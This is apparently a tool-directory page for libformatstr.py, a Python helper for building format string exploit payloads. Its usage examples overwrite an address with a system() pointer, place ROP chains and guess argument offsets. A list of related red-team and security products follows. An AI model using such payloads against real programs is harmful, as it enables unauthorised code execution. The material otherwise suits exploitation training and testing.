libformatstr.py
Small script to simplify format string exploitation. Usage Case 1 - replace one dword: import sys from libformatstr import FormatStr addr = 0x08049580 system_addr = 0x080489a3 p = FormatStr() p[addr] = system_addr # buf is 14th argument, 4 bytes are already printed sys.stdout.write( p.payload(14, start_len=4) ) Case 2 - put ROP code somewhere: import sys from libformatstr import FormatStr addr = 0x08049580 rop = [0x080487af, 0x0804873c, 0x080488de] p = FormatStr() p[addr] = rop sys.stdout.write( p.payload(14) ) Case 3 - guess argument number and padding: import sys from libformatstr import FormatStr # let's say we have do_fmt function, # which gives us only output of format string # (you can also just copy fmtstr and output manually) buf_size = 250 # fix buf_size to avoid offset variation res = do_fmt(make_pattern(buf_size)) argnum, padding = guess_argnum(res, buf_size) # of course you can use it in payload generation p = FormatStr(buf_size) p[0xbffffe70] = "\x70\xfe\xff\xbf\xeb\fe" # yes, you can also put strings sys.stdout.write( p.payload(argnum, padding, 3) ) # we know 3 bytes were printed already Case 4 - write something in specificed order: from libformatstr
FEATURES
ALTERNATIVES
A script to enumerate Google Storage buckets and determine access and privilege escalation
A visual guide illustrating attack paths and techniques for exploiting vulnerabilities in GitHub Actions configurations.
A reconnaissance tool that retrieves information from Office 365 and Azure Active Directory using a valid credential.
Full-featured C2 framework for stealthy communication and control on web servers.
Participation in the Red Team for Pacific Rim CCDC 2017 with insights on infrastructure design and competition tips.
Macro_Pack is a tool used to automate obfuscation and generation of Office documents for pentest, demo, and social engineering assessments.
Caldera is a cybersecurity framework by MITRE for automated security assessments and adversary emulation.
A Python-based tool for identifying and exploiting file inclusion and directory traversal vulnerabilities in web applications.
PINNED
Mandos Brief Newsletter
A weekly newsletter providing cybersecurity leadership insights, industry updates, and strategic guidance for security professionals advancing to management positions.
PTJunior
An AI-powered penetration testing platform that autonomously discovers, exploits, and documents vulnerabilities while generating NIST-compliant reports.
CTIChef.com Detection Feeds
A tiered cyber threat intelligence service providing detection rules from public repositories with varying levels of analysis, processing, and guidance for security teams.
ImmuniWeb® Discovery
ImmuniWeb Discovery is an attack surface management platform that continuously monitors an organization's external digital assets for security vulnerabilities, misconfigurations, and threats across domains, applications, cloud resources, and the dark web.
Checkmarx SCA
A software composition analysis tool that identifies vulnerabilities, malicious code, and license risks in open source dependencies throughout the software development lifecycle.
Orca Security
A cloud-native application protection platform that provides agentless security monitoring, vulnerability management, and compliance capabilities across multi-cloud environments.
DryRun
A GitHub application that performs automated security code reviews by analyzing contextual security aspects of code changes during pull requests.